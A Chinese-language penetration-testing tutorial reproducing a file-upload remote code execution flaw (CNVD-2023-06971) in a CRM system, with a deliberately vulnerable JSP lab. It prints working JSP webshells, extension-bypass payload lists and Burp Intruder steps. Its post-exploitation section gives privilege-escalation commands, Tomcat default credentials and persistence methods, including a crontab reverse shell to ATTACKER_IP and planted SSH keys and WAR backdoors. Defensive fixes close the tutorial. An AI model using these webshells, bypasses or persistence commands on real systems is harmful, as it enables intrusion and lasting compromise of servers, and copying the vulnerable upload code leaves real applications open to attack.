1. 项目概述与漏洞背景最近在梳理一些历史漏洞案例时我重新审视了CNVD-2023-06971这个编号。这是一个关于“美特CRM”系统的文件上传漏洞最终导致了远程代码执行。对于从事企业应用安全测试或红队评估的同行来说这类在老旧但广泛部署的业务系统中发现的漏洞其现实危害性往往比那些在最新框架上发现的0day更大。因为这些系统一旦上线可能数年都不会更新成为了内网中沉默的“定时炸弹”。这个漏洞的利用链非常经典一个未授权或弱权限的文件上传点结合一个已知的服务器特性或解析漏洞就能轻松获取服务器权限。复现它不仅能帮助我们理解漏洞原理更重要的是掌握在真实环境中发现和利用此类问题的通用方法论。无论你是安全研究员、渗透测试工程师还是负责企业自身业务系统安全的开发运维人员理解这个案例都能让你对“文件上传”这个老生常谈但永不过时的漏洞类型有更深刻的认识。“美特CRM”作为一个客户关系管理系统其核心功能之一就是处理销售线索、客户合同、产品资料等各类文件。因此系统内必然存在大量的文件上传与下载模块。upload.jsp这个路径名就非常直白地指向了上传功能。问题往往就出在开发者在实现这些业务功能时只考虑了“能用”而忽略了“安全”。他们可能只在前端用JavaScript做了简单的文件类型校验或者在后端虽然做了检查但校验逻辑可以被绕过。更危险的是如果上传后的文件存储路径、文件名可以被预测或访问并且服务器如老版本的Tomcat、WebLogic等存在将特定后缀文件如.jsp、.jspx当作动态脚本解析的配置那么一个普通的文件上传功能就会瞬间变成通往服务器最高权限的“任意门”。接下来我将带你从环境搭建开始一步步拆解这个漏洞的成因、利用条件、复现过程并分享我在多次类似测试中积累的实战技巧和避坑指南。2. 漏洞原理深度解析2.1 文件上传漏洞的通用成因要理解这个特定漏洞我们必须先吃透文件上传漏洞的通用原理。一个安全的文件上传功能应该像机场安检一样进行多道、异构的检查。而存在漏洞的上传功能往往在以下一个或多个环节出现了疏漏前端校验形同虚设这是最低级的错误。仅依靠HTML的accept属性或JavaScript检查文件后缀。攻击者只需拦截HTTP请求用Burp Suite等工具修改Content-Type或文件名即可轻松绕过。在实际测试中我几乎不会把前端校验当作任何有效的防护它只是用户体验的一部分。后端校验逻辑缺陷这是漏洞的高发区。常见的缺陷包括黑名单绕过服务端禁止上传.jsp,.php,.asp等后缀。但攻击者可以尝试.jspx,.jsp.末尾空格.jsp%20URL编码空格.jsp::$DATANTFS流或者在Apache环境下.php.jpg如果服务器配置了AddType application/x-httpd-php .jpg都可能被成功解析。内容类型Content-Type校验不严只检查HTTP头中的Content-Type是否为image/jpeg、image/png等。攻击者在上传恶意脚本时只需将请求头中的Content-Type改为image/jpeg即可绕过。文件内容检查被绕过通过检查文件幻数Magic Number来判断是否为图片例如JPEG文件开头是FF D8 FF E0。但攻击者可以在一个正常的图片文件末尾追加恶意代码制作图片马或者利用某些图像处理库的解析特性如图像渲染时执行嵌入的代码来绕过。解析漏洞这是最危险的一种。服务器自身的缺陷导致本应作为静态文件处理的文件被解析执行。例如IIS 6.0的目录解析漏洞/test.asp/test.jpg会被当作ASP执行、Apache的CVE-2017-15715换行符解析漏洞、Nginx的CVE-2013-4547畸形路径解析漏洞等。存储路径与访问控制问题即使文件被安全地检查并存储如果其存储路径和文件名是可预测的并且该目录有执行脚本的权限攻击者就能直接访问上传的WebShell。例如系统将文件存储在/uploads/20240515/目录下并按时间戳命名攻击者很容易构造出完整的访问URL。2.2 美特CRM upload.jsp漏洞具体分析结合CNVD-2023-06971的公开信息及对同类CRM系统的代码审计经验我们可以推断“美特CRM”的upload.jsp漏洞很可能是上述多种问题的组合拳。其核心利用路径推测如下未授权或弱权限访问/xxx/upload.jsp这个接口可能未进行有效的会话验证或权限校验允许任意用户访问。或者它关联了一个低权限角色如“普通员工”即可访问的功能模块。后缀过滤黑名单被绕过该JSP文件可能对上传文件的后缀进行了黑名单过滤但过滤不全。例如它可能只过滤了.jsp但忽略了.jspx、.jspf等同样可以被Tomcat等JSP容器解析的后缀。甚至它可能只是简单检查文件名中是否包含“.jsp”字符串那么使用大小写混合如.JsP或双后缀如shell.jsp.jpg如果服务器错误地取第一个点之后的内容作为后缀就可能绕过。内容检查缺失或可被绕过该接口可能主要用于上传图片、文档等但后端没有对文件内容进行有效的二进制检查或者检查逻辑存在缺陷允许在图片文件中嵌入恶意JSP代码。存储路径可预测且具有执行权限上传后的文件被保存到一个固定的、可通过Web直接访问的目录下例如/webapps/ROOT/uploads/。更致命的是这个目录在Tomcat等应用服务器中默认就具备执行JSP脚本的权限。攻击者一旦上传成功就能直接通过浏览器访问这个JSP WebShell从而执行任意系统命令。注意在真实环境中很多老旧系统的上传功能会与富文本编辑器如UEditor、KindEditor或特定的业务插件绑定。这些组件往往有自己独立的上传处理逻辑并且历史版本中存在大量已知漏洞。测试时要重点关注/ueditor/,/kindeditor/,/editor/等目录下的*.jsp、*.asp文件。2.3 RCE远程代码执行的实现文件上传漏洞本身可能只导致“任意文件写入”。要实现RCE还需要一个关键条件服务器能够将我们上传的文件内容当作代码来解析执行。对于JSP环境这意味着我们上传的文件后缀必须是.jsp,.jspx,.jspf等或者服务器存在解析漏洞将其他后缀如.jpg.jsp也当作JSP处理。上传的文件内容是一段JSP WebShell代码。最经典、最通用的一段代码如下% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这段代码通过JSP的内置对象request获取一个名为cmd的参数然后通过Runtime.getRuntime().exec()方法在服务器上执行该命令并将命令执行结果输出到网页上。例如上传成功后访问http://target.com/uploads/shell.jsp?cmdwhoami页面上就会显示当前Web服务运行的用户身份。3. 漏洞复现环境搭建与准备3.1 实验环境规划为了安全、可控地复现这个漏洞我们需要在本地搭建一个模拟环境。不建议直接在网上搜索并下载可能存在后门的“美特CRM”安装包。我们可以采用一种更安全、更灵活的方式使用一个存在类似漏洞的JSP Web应用作为靶场。我推荐使用vulhub或DVWADamn Vulnerable Web Application的高难度文件上传关卡或者专门找一些历史上有文件上传漏洞的JSP开源项目。这里为了更贴近“美特CRM”的JSP环境我们可以自己快速构建一个存在漏洞的简易JSP上传页面。环境组件操作系统Kali Linux 或 Windows 10/11。我习惯用Kali因为工具链齐全。Java运行环境JDK 8很多老旧CRM系统兼容JDK 8。使用命令java -version确认。Web服务器Apache Tomcat 8.5.x。这是最常用的JSP/Servlet容器且其默认配置适合复现此类漏洞。漏洞演示应用我们将手动编写一个存在漏洞的upload.jsp和一个用于上传的HTML页面。攻击机工具Burp Suite Community/Professional必备、浏览器Chrome/Firefox、中国菜刀或蚁剑WebShell管理工具可选用于演示后果。3.2 搭建存在漏洞的JSP应用首先安装并启动Tomcat。在Kali上可以使用apt install tomcat9版本可能较高但原理相通。安装后Tomcat的web应用默认部署在/var/lib/tomcat9/webapps/ROOT/。我们在这个ROOT目录下创建一个存在漏洞的上传页面。创建上传表单页面index.html:sudo nano /var/lib/tomcat9/webapps/ROOT/upload.html内容如下!DOCTYPE html html head title漏洞演示 - 文件上传/title /head body h2员工资料上传处模拟美特CRM界面/h2 form actionupload.jsp methodpost enctypemultipart/form-data 选择文件input typefile namefilebrbr input typesubmit value上传 /form pi提示仅支持上传图片文件.jpg, .png/i/p /body /html这个页面模拟了一个简单的上传界面并提示“仅支持图片”这是典型的前端暗示。创建存在漏洞的JSP处理页面upload.jsp:sudo nano /var/lib/tomcat9/webapps/ROOT/upload.jsp内容如下这是一个故意写得不安全的JSP% page importjava.io.*, java.util.*, javax.servlet.*, javax.servlet.http.* % % page importorg.apache.commons.fileupload.*, org.apache.commons.fileupload.disk.*, org.apache.commons.fileupload.servlet.* % % // 模拟漏洞1. 无权限校验 2. 黑名单过滤不全 String uploadPath application.getRealPath(/) uploads; File uploadDir new File(uploadPath); if (!uploadDir.exists()) { uploadDir.mkdir(); } // 使用Apache Commons FileUpload处理上传 DiskFileItemFactory factory new DiskFileItemFactory(); ServletFileUpload upload new ServletFileUpload(factory); ListFileItem items upload.parseRequest(request); String fileName null; for (FileItem item : items) { if (!item.isFormField()) { // 是文件字段 fileName new File(item.getName()).getName(); // 漏洞点简单的黑名单过滤且只检查小写 String[] blackList {.jsp, .php, .asp}; boolean isAllowed true; for (String badExt : blackList) { if (fileName.toLowerCase().endsWith(badExt)) { isAllowed false; out.println(h3禁止上传脚本文件/h3); break; } } if (isAllowed) { // 漏洞点存储路径在Web可访问目录下且未重命名 String filePath uploadPath File.separator fileName; File storeFile new File(filePath); item.write(storeFile); out.println(h3文件上传成功/h3); out.println(文件路径: a hrefuploads/ fileName filePath /a); } } } %代码漏洞分析String[] blackList {“.jsp”, “.php”, “.asp”};黑名单仅包含三种后缀且检查时用了toLowerCase()。这意味着.JSP大写或.jspx不在名单内会被放过。String filePath uploadPath File.separator fileName;直接使用用户上传时的原始文件名未进行重命名如改为时间戳随机数导致文件路径可预测。上传目录uploads直接在Web根目录下可通过浏览器直接访问。创建上传目录并调整权限sudo mkdir /var/lib/tomcat9/webapps/ROOT/uploads sudo chown tomcat:tomcat /var/lib/tomcat9/webapps/ROOT/uploads sudo systemctl restart tomcat9确保Tomcat服务用户通常是tomcat对该目录有写权限。访问测试页面 打开浏览器访问http://your-kali-ip:8080/upload.html。你应该能看到一个简单的上传表单。至此漏洞环境搭建完成。4. 漏洞利用与复现实操环境准备好后我们开始扮演攻击者的角色一步步利用这个漏洞。4.1 信息收集与初步探测首先通过浏览器直接访问http://your-kali-ip:8080/upload.jsp。如果页面没有报错甚至能显示即使显示空白或错误信息都说明这个接口是存在的。如果返回403或404则需要结合其他信息如爬虫、目录扫描来寻找真实路径。在我们的模拟环境中它是直接可访问的。使用Burp Suite抓取通过upload.html表单上传一个正常图片的请求观察请求格式、参数名和响应。这能帮助我们理解后端处理逻辑。4.2 绕过黑名单过滤根据我们编写的漏洞代码黑名单只检查.jsp,.php,.asp的小写形式。我们可以尝试多种绕过方式大小写绕过将WebShell文件命名为shell.JSP或shell.Jsp。补充后缀绕过尝试.jspx、.jspfJSP Fragment。这些也是有效的JSP文件后缀但不在黑名单中。双写后缀/特殊符号尝试shell.jsp.jpg。如果后端逻辑是取最后一个点之后的后缀它会被认为是.jpg而通过检查。但Tomcat默认可能根据web.xml中的映射仍然将.jsp.jpg当作JSP解析吗不一定这需要服务器有错误配置。更常见的是利用操作系统特性如Windows下的shell.jsp.末尾空格或shell.jsp::$DATA。修改Content-Type即使文件名是shell.jsp我们也可以在Burp Suite中将请求头中的Content-Type从application/x-jsp假设修改为image/jpeg如果后端只检查Content-Type则可能绕过。实操步骤准备一个简单的JSP WebShell内容如前文所述保存为shell.jspx使用.jspx后缀绕过。在浏览器中打开upload.html选择shell.jspx文件点击上传前先打开Burp Suite的代理并开启拦截。点击上传Burp Suite会拦截到POST请求。在Burp Suite的Proxy - Intercept标签页中你可以看到原始的请求。不要做任何修改直接点击“Forward”。目的是先看看原始请求是否会被后端拒绝。观察返回结果。在我们的模拟漏洞中由于黑名单没有.jspx所以应该会返回“文件上传成功”并给出链接。4.3 验证上传与执行如果上传成功页面会返回类似文件路径: uploads/shell.jspx的链接。直接点击这个链接或者在浏览器地址栏输入http://your-kali-ip:8080/uploads/shell.jspx。如果页面空白没有报404或403说明文件被成功访问且没有语法错误。此时尝试在URL后添加参数来执行命令http://your-kali-ip:8080/uploads/shell.jspx?cmdwhoami。成功情况页面上会显示执行命令的用户例如tomcat或www-data。这标志着RCE漏洞复现成功失败情况返回404文件不存在。检查上传路径是否正确文件名是否在传输过程中被修改。返回403目录没有执行权限。虽然Tomcat的webapps/ROOT下默认有执行权限但某些安全配置或特定目录可能被限制了。尝试上传到其他已知的可执行目录。返回500内部服务器错误JSP代码有语法错误或者服务器不支持某些语法如使用了高版本JDK的特性。检查WebShell代码的兼容性。命令执行了但无回显可能是Runtime.exec()的执行环境问题或者输出流被重定向。可以尝试执行一个能产生明显外部效应的命令如ping -c 1 your-attacker-ip如果服务器能出网然后在攻击机上用tcpdump或wireshark抓包看是否有ICMP请求。4.4 利用Burp Suite进行自动化探测手动测试效率低。我们可以利用Burp Suite的Intruder功能自动化测试各种绕过Payload。抓取一个正常的上传请求发送到Intruder快捷键CtrlI。设置攻击位置通常需要标记两个位置文件名在Content-Disposition头中和文件扩展名在请求体中和文件名中。例如将filename”test.jpg”中的test和jpg分别标记。配置Payload对于文件名部分可以加载一个字典包含常见的WebShell文件名如shell、cmd、pass等。对于扩展名部分加载一个包含各种绕过后缀的字典例如jsp JSP Jsp jspx jspf jsp. jsp%20 jsp::$DATA jsp.jpg jsp;.jpg开始攻击观察不同Payload组合的响应。通过响应长度、状态码和内容可以快速识别出哪些组合上传成功。例如响应中包含“上传成功”字样的就是成功的Payload。实操心得在真实测试中时间有限我通常会优先测试.jspx、.jsp.空格、.jsp%20、.jsp::$DATA以及大小写变种。如果系统是Java的.jspx和.jspf成功率相对较高。另外不要忽略PUT方法。如果服务器配置了不当的PUT方法处理如某些版本的Tomcat默认开启PUT可以直接通过PUT请求上传文件这甚至可能绕过所有JSP层面的过滤。5. 漏洞深度利用与后渗透成功上传WebShell并执行命令只是第一步。一个专业的渗透测试需要评估漏洞的实际危害深度。5.1 WebShell的选择与免杀上面演示的JSP WebShell是最基础的但特征明显很容易被安全软件或WAFWeb应用防火墙检测到。我们需要更隐蔽的WebShell。自定义编码对WebShell代码进行Base64、Hex、ROT13等编码在JSP中动态解码执行。这可以绕过基于简单字符串匹配的WAF规则。% page importsun.misc.BASE64Decoder% % String cls request.getParameter(pass); if (cls ! null) { new BASE64Decoder().decodeBuffer(cls).getClass().newInstance().equals(pageContext); } %这种WebShell需要配合客户端工具如中国蚁剑、冰蝎使用它们会自动生成加密的Payload。其原理是传递一段经过编码的、实现了特定接口的Java类字节码在服务器端解码并实例化从而建立加密通信通道。利用Java反射避免直接出现Runtime、Process等敏感类名。%page importjava.lang.reflect.Method% %page importjava.util.Scanner% % String str request.getParameter(cmd); if(str ! null){ Process p Runtime.getRuntime().exec(str); Scanner sc new Scanner(p.getInputStream()).useDelimiter(\\A); out.print(sc.hasNext() ? sc.next() : ); } %这段代码虽然还是用了Runtime但结构上略有变化有时能绕过简单的正则匹配。我的经验是对于内部测试基础WebShell足够。但对于有WAF的环境建议直接使用成熟的工具如冰蝎Behinder或哥斯拉Godzilla的JSP型Payload。它们通信全程加密流量特征难以识别且功能强大文件管理、数据库连接、内网代理等。5.2 权限提升与持久化通过WebShell执行命令我们获得的权限通常是Tomcat服务进程的权限如tomcat用户。这个用户权限可能有限。信息收集whoami/id查看当前用户。uname -a查看系统内核版本。cat /etc/passwd查看系统用户。env查看环境变量。sudo -l如果当前用户有sudo权限查看可以无需密码执行哪些命令。find / -perm -4000 -type f 2/dev/null查找SUID权限的文件可能存在利用点。ps aux查看运行的服务和进程寻找其他高权限服务或配置不当的软件。尝试提权根据内核版本搜索公开的本地提权Exp。检查是否有弱密码或明文密码存储在配置文件中如/var/lib/tomcat9/conf/tomcat-users.xmlwebapps/manager/WEB-INF/web.xml等。利用Tomcat Manager应用如果/manager/html可以访问并且有弱密码默认密码可能是tomcat:tomcat或admin:admin可以直接部署WAR包形式的WebShell获得更稳定的后门。持久化后门写入计划任务echo “* * * * * /bin/bash -i /dev/tcp/ATTACKER_IP/PORT 01” | crontab -反弹Shell。写入SSH密钥如果tomcat用户有家目录且.ssh目录可写可以写入公钥实现免密登录。部署WAR包后门通过Tomcat Manager直接部署一个包含JSP WebShell的WAR应用比单个JSP文件更隐蔽。修改现有JSP文件在某个不常被访问的合法JSP页面中插入一行WebShell代码比上传新文件更不易被发现。6. 防御方案与修复建议从开发和安全运维两个角度我们可以这样防御此类漏洞6.1 开发层面根本解决使用成熟框架的文件上传组件如Spring MVC的MultipartFile并配合其安全配置。避免自己手动解析multipart/form-data请求。白名单校验这是最有效的方法。只允许上传业务必需的文件类型如只允许.jpg,.jpeg,.png,.pdf,.docx。校验应在服务端进行并且要同时校验文件后缀和文件内容类型Magic Number。// 示例Spring Boot中结合白名单和内容检查 private static final ListString ALLOWED_EXTENSIONS Arrays.asList(“jpg”, “jpeg”, “png”, “pdf”); private static final MapString, String ALLOWED_MIME_TYPES new HashMap(); static { ALLOWED_MIME_TYPES.put(“jpg”, “image/jpeg”); ALLOWED_MIME_TYPES.put(“png”, “image/png”); // ... } public boolean isFileSafe(MultipartFile file) { String originalFilename file.getOriginalFilename(); String extension getFileExtension(originalFilename).toLowerCase(); // 1. 后缀白名单 if (!ALLOWED_EXTENSIONS.contains(extension)) { return false; } // 2. 内容类型校验使用Tika等库检测真实MIME类型 String detectedMimeType tika.detect(file.getBytes()); if (!ALLOWED_MIME_TYPES.get(extension).equalsIgnoreCase(detectedMimeType)) { return false; } // 3. 可选文件头魔数校验 return true; }重命名文件上传后使用不可预测的名称保存文件如UUID 白名单后缀。避免使用用户上传的原文件名。同时将文件存储在Web根目录之外或配置该目录不可执行脚本。String savedFileName UUID.randomUUID().toString() “.” extension; Path savePath Paths.get(“/opt/app/upload/”, savedFileName); // Web目录之外 Files.copy(file.getInputStream(), savePath, StandardCopyOption.REPLACE_EXISTING); // 数据库中记录 savedFileName 与 originalFilename 的映射限制文件大小和数量防止DoS攻击。对图片进行二次处理压缩、裁剪对于图片文件使用ImageIO等库进行读取和再输出可以有效破坏可能隐藏在图片中的恶意代码。6.2 运维与配置层面容器安全配置在Tomcat的conf/web.xml中为上传目录配置security-constraint禁止执行JSP。!-- 禁止uploads目录执行JSP -- security-constraint web-resource-collection web-resource-nameUploads Dir/web-resource-name url-pattern/uploads/*/url-pattern /web-resource-collection auth-constraint !-- 可以设置为空表示所有人都受此限制 -- /auth-constraint /security-constraint或者直接将上传目录放到WEB-INF下该目录下的文件无法通过URL直接访问只能通过Servlet进行转发下载。部署WAF在应用前端部署Web应用防火墙可以拦截常见的文件上传攻击Payload。定期安全扫描与更新对线上系统进行定期的漏洞扫描和代码审计。及时更新中间件如Tomcat和依赖库如Apache Commons FileUpload到最新版本。最小权限原则运行Tomcat的账户应使用非root、低权限的专用用户。并严格限制其文件系统访问权限。6.3 应急响应如果已经发生入侵应立刻隔离系统将受影响的服务器从网络中断开。排查后门根据访问日志定位异常访问IP和时间查找所有可疑的JSP、JSPX文件特别是近期创建或修改的。检查计划任务、SSH授权密钥、启动项等。修复漏洞根据上述方案修复文件上传漏洞。恢复与验证从干净的备份恢复被篡改的文件或重装系统。修复后进行完整的渗透测试验证漏洞是否真正被堵上。7. 实战排查技巧与常见问题在多年的渗透测试中我遇到过各种奇怪的情况。这里分享一些排查技巧和常见问题的解决方法。问题1上传成功但访问WebShell时返回404或403。排查思路路径问题确认你访问的URL是否和服务器返回的路径完全一致。注意相对路径和绝对路径。有时返回的路径是服务器绝对路径如/var/www/uploads/shell.jsp你需要将其转换为URL路径/uploads/shell.jsp。权限问题Web服务器进程如tomcat用户对上传的文件是否有读权限对所在目录是否有执行权限对于JSP目录需要执行权限使用WebShell执行ls -la /path/to/uploads/查看文件权限。容器映射问题某些应用服务器或配置下uploads目录可能没有被映射为一个Web上下文。尝试访问http://target/appcontext/uploads/shell.jsp。问题2上传成功访问时返回500错误提示JSP编译错误。排查思路语法错误检查你的WebShell代码是否有拼写错误特别是分号、括号。确保代码兼容目标服务器的JDK版本例如不要在JDK 6环境下使用JDK 8的语法。类缺失你的WebShell代码中引用了不存在的类或第三方库。使用最通用、最基础的JSP内置对象和Java标准库类。字符编码问题文件上传过程中中文字符或特殊字符可能导致代码损坏。尽量使用纯英文、无特殊字符的代码。问题3命令执行了但没有任何回显。排查思路输出流问题Runtime.exec()执行某些命令时输出可能不在标准输出stdout而在错误输出stderr。你需要同时读取两个流。改进的WebShell代码% Process p Runtime.getRuntime().exec(request.getParameter(“cmd”)); BufferedReader stdInput new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError new BufferedReader(new InputStreamReader(p.getErrorStream())); String s; while ((s stdInput.readLine()) ! null) { out.println(s); } while ((s stdError.readLine()) ! null) { out.println(“[ERROR] “ s); } %无回显命令执行了像ping、sleep这样的命令本身没有控制台输出。尝试执行id、whoami、ls等。防火墙/杀软拦截某些命令如net user可能被主机安全软件拦截。尝试执行无害的命令如echo test123。问题4如何判断上传点是否存在盲测法如果页面没有明确的错误回显可以尝试上传一个超大的文件超过服务器配置限制看是否会返回“文件过大”的错误。如果有说明上传功能是激活的。时间延迟法上传一个内容非常大的文件如100MB观察服务器响应时间。如果明显变长说明文件被接收并处理了。DNS/HTTP外带法如果怀疑存在漏洞但无回显可以尝试让服务器访问一个由你控制的域名或URL。例如在文件名中插入||curl http://your-collaborator-domain.com如果服务器是Linux且命令拼接成功。或者上传一个包含img src”http://your-domain.com/xx的SVG文件如果服务器会解析SVG就可能发起请求。问题5在真实黑盒测试中如何高效发现此类漏洞目录扫描与爬虫使用gobuster、dirsearch等工具搭配/uploads/,/upload/,/file/,/images/等常见上传目录字典进行扫描。同时用爬虫如Burp Suite’s Spider爬取所有表单。FUZZ测试对所有发现的上传表单或疑似上传的API端点使用Burp Suite的Intruder或ffuf等工具对参数名如file,fileUpload,file_data、路径如/upload.jsp,/upload.do,/fileUpload.action进行FUZZ。关注特定组件重点测试已知存在漏洞的编辑器或组件如UEditor、KindEditor、CKFinder的旧版本。它们的上传接口路径往往是固定的。参数污染与请求方法变换尝试将POST改为PUT如果服务器支持。尝试在参数中添加多个filename字段或者使用数组形式filename[]观察服务器如何处理。文件上传漏洞的攻防是一场持续的战斗。作为防御方必须采取纵深防御的策略从代码开发、框架选型、服务器配置到运行时监控层层设防。作为攻击方则需要不断更新绕过技巧理解每一层防御的原理才能找到那条隐蔽的攻击路径。复现CNVD-2023-06971这样的历史漏洞正是我们积累这种攻防经验的最佳途径。每一次成功的复现和深入的原理分析都让我们在未来的实战中多一份把握。
